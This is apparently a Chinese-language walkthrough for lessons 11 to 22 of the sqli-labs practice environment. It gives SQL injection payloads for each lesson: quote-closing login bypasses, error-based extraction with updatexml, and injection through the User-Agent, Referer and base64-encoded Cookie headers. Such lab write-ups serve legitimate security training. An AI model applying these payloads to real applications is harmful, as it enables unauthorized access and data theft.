something about sqliLabs 0x03
sqli-labs
Page-1(Basic Challenges)
Less-11
POST - Error Based - Single quotes - String
提交方式为POST
方式,直接构造post请求
。
uname=username&passwd=password'+or+true+--+&submit=Submit
或
uname=username&passwd=password'+or+true+--+&submit=Submit
都可,两处都可注入。
Less-12
POST - Error Based - Double quotes - String - with twist
多试几次,发现闭合方式不同,双引号与括号闭合("$id")
。
uname=username")+or+true+--+&passwd=password&submit=Submit
或
uname=username&passwd=password")+or+true+--+&submit=Submit
都可,两处都可注入。
Less-13
POST - Double Injection - Single quotes - String - with twist
闭合方式为('$password')
。
uname=username')+or+true+--+&passwd=password&submit=Submit
或
uname=username&passwd=password')+or+true+--+&submit=Submit
两处都可注入。
Less-14
POST - Double Injection - Double quotes - String - with twist
闭合方式为"$password"
。
uname=username"+or+true+--+&passwd=password&submit=Submit
或
uname=username&passwd=password"+or+true+--+&submit=Submit
两处都可注入。
Less-15
POST - Blind - Boolean/Time Based - Single quotes
uname=username'+or+true+--+&passwd=password&submit=Submit
或
uname=username&passwd=password'+or+true+--+&submit=Submit
两处都可注入。
Less-16
POST - Blind - Boolean/Time Based - Double quotes
uname=username")+or+true+--+&passwd=password&submit=Submit
或
uname=username&passwd=password")+or+true+--+&submit=Submit
都可以注入。
Less-17
POST - Update Query - Error Based - String
这不是普通的select
语句,而是update
语句,可以利用0x01中学到的updatexml()
,extractvalue()
报错来获取信息。
uname=Dumb&passwd=newpassword'+or+updatexml(1,concat(0x7e,database()),1)+or+'close&submit=Submit
即可成功注入,并获得了database()
信息。
Less-18
POST - Header Injection - Uagent field - Error based
需要注入HTTP头
,由于这次查询,先查询用户
/密码
是否存在,如果存在,将其
User-Agent
存入数据库中。
注入HTTP头
的User-Agent
属性。
1 | POST /Less-18/ |
Less-19
POST - Header Injection - Referer field - Error based
注入HTTP头
的Referer
属性,此属性是用来标识,请求来源于哪个URL
。
1 | POST /Less-19/ |
Less-20
POST - Cookie Injections - Uagent field - Error based
对HTTP头
的Cookie
属性进行注入。
1 | POST /Less-20/ |
跟隨redirection
,即可以看到结果。
Less-21
POST - Cookie Injections - Uagent field - Error based
与 Less-20 相同,但是观察到uname = YWRtaW4=
中是有=
存在的,联想到
BASE64
编码后,会出现=
补足编码。
使用base64
工具解码查看:
1 | ~$ echo "YWRtaW4=" | base64 -d - |
与请求内容吻合,因此构造好payload
后还需要进行BASE64
编码。
构造payload为admin' or updatexml(1, concat(0x7e, database()),1) or 'close
。
使用base64
工具编码:
1 | ~$ echo "admin' or updatexml(1, concat(0x7e, database()),1) or 'close" | base64 - |
最终payload为:
1 | GET /Less-21/index.php |
Less-22
POST - Cookie Injections - Uagent field - Error based
与 Less-21 相比,闭合方式为"
,其他相同。